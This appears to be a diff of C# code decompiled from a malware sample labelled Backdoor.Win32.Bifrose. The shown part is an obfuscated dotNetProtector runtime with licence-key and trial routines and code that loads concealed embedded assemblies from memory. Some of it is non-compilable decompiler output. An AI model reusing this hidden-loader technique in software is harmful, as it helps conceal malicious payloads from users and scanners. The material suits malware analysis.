this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
|
||||
int length = \u0082\u00BB.\u0081\u009B();
|
||||
if (length != 0)
|
||||
{
|
||||
this.ò = new Assembly[length];
|
||||
int index = 0;
|
||||
if (0 < length)
|
||||
{
|
||||
do
|
||||
{
|
||||
this.ò[index] = (Assembly) null;
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
}
|
||||
}
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
|
||||
{
|
||||
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
|
||||
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
|
||||
IntPtr num = Marshal.ReadIntPtr(ptr);
|
||||
string str = (string) null;
|
||||
if (num != IntPtr.Zero)
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(num);
|
||||
Marshal.FreeHGlobal(num);
|
||||
str = stringAnsi;
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (!(coTaskMemAnsi != IntPtr.Zero))
|
||||
return str;
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return str;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
|
||||
{
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
|
||||
int num1 = usb ? 1 : 0;
|
||||
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
|
||||
if (coTaskMemAnsi != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return num2 != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID,
|
||||
ulong data)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint licenseId;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return licenseId;
|
||||
}
|
||||
|
||||
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint num;
|
||||
ulong productkeyData;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return productkeyData;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr DecodeActivationString(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr pActivationString)
|
||||
{
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* config;
|
||||
int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe string GetThumbPrint(Assembly pReserved)
|
||||
{
|
||||
\u0081Ï ï;
|
||||
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num = 0;
|
||||
do
|
||||
{
|
||||
// ISSUE: cast to a reference type
|
||||
// ISSUE: explicit reference operation
|
||||
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
|
||||
++num;
|
||||
}
|
||||
while (num < 20);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
|
||||
{
|
||||
uint length;
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
byte[] destination = new byte[(int) length];
|
||||
IntPtr num = (IntPtr) (void*) numPtr;
|
||||
Marshal.Copy(num, destination, 0, (int) length);
|
||||
Marshal.FreeCoTaskMem(num);
|
||||
return destination;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* usbConfig;
|
||||
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly ResolveAssembly(string Name)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
try
|
||||
{
|
||||
AssemblyName assemblyName = new AssemblyName(Name);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
return (Assembly) null;
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Name);
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
|
||||
if (index >= 0)
|
||||
{
|
||||
Assembly[] ò = this.ò;
|
||||
if (index < ò.Length)
|
||||
{
|
||||
if ((object) ò[index] == null)
|
||||
this.ò[index] = this.\u0081â(num3);
|
||||
gcHandle.Free();
|
||||
return this.ò[index];
|
||||
}
|
||||
}
|
||||
gcHandle.Free();
|
||||
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
|
||||
}
|
||||
|
||||
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly embLockAssembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return embLockAssembly;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly lockAssemblyName = (Assembly) null;
|
||||
try
|
||||
{
|
||||
lockAssemblyName = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return lockAssemblyName;
|
||||
}
|
||||
|
||||
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
|
||||
{
|
||||
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) ptr1 == IntPtr.Zero)
|
||||
return (ArrayList) null;
|
||||
IntPtr ptr2 = (IntPtr) (void*) ptr1;
|
||||
ArrayList assemblyServices = new ArrayList();
|
||||
if (*ptr1 != (byte) 0)
|
||||
{
|
||||
do
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
|
||||
assemblyServices.Add((object) stringAnsi);
|
||||
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
|
||||
}
|
||||
while (*ptr1 != (byte) 0);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr2);
|
||||
return assemblyServices;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsDemo(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int DaysLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe int MinutesLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
|
||||
|
||||
public virtual void UnloadAppdomain(AppDomain domain)
|
||||
{
|
||||
int id = domain.Id;
|
||||
AppDomain.Unload(domain);
|
||||
\u0082\u00BB.\u0095(id);
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
|
||||
|
||||
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
|
||||
|
||||
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
|
||||
{
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
|
||||
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
|
||||
gcHandle.Free();
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
|
||||
|
||||
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
|
||||
|
||||
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
|
||||
{
|
||||
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
|
||||
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
|
||||
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
|
||||
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
|
||||
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
|
||||
gcHandle1.Free();
|
||||
gcHandle2.Free();
|
||||
gcHandle3.Free();
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <dotNetProtector>
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
public class \u003CdotNetProtector\u003E
|
||||
{
|
||||
internal static readonly long _Reserved;
|
||||
}
|
||||
+281
@@ -0,0 +1,281 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Ù
|
||||
{
|
||||
private IntPtr \u0082\u00B0;
|
||||
private IntPtr á;
|
||||
private int Þ;
|
||||
private Assembly Û;
|
||||
|
||||
private unsafe Assembly \u00F7()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly assembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return assembly;
|
||||
}
|
||||
|
||||
private unsafe Assembly \u0089()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly assembly = (Assembly) null;
|
||||
try
|
||||
{
|
||||
assembly = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
|
||||
int num2 = 0;
|
||||
\u0081Ù ù = new \u0081Ù();
|
||||
ù.Û = _param0;
|
||||
ù.\u0082\u00B0 = hinstance;
|
||||
ù.Þ = _param1;
|
||||
IntPtr num3 = (IntPtr) (void*) &num2;
|
||||
ù.á = num3;
|
||||
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
|
||||
int id = domain.Id;
|
||||
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
|
||||
domain.DoCallBack(callBackDelegate);
|
||||
try
|
||||
{
|
||||
AppDomain.Unload(domain);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num4 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num4 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
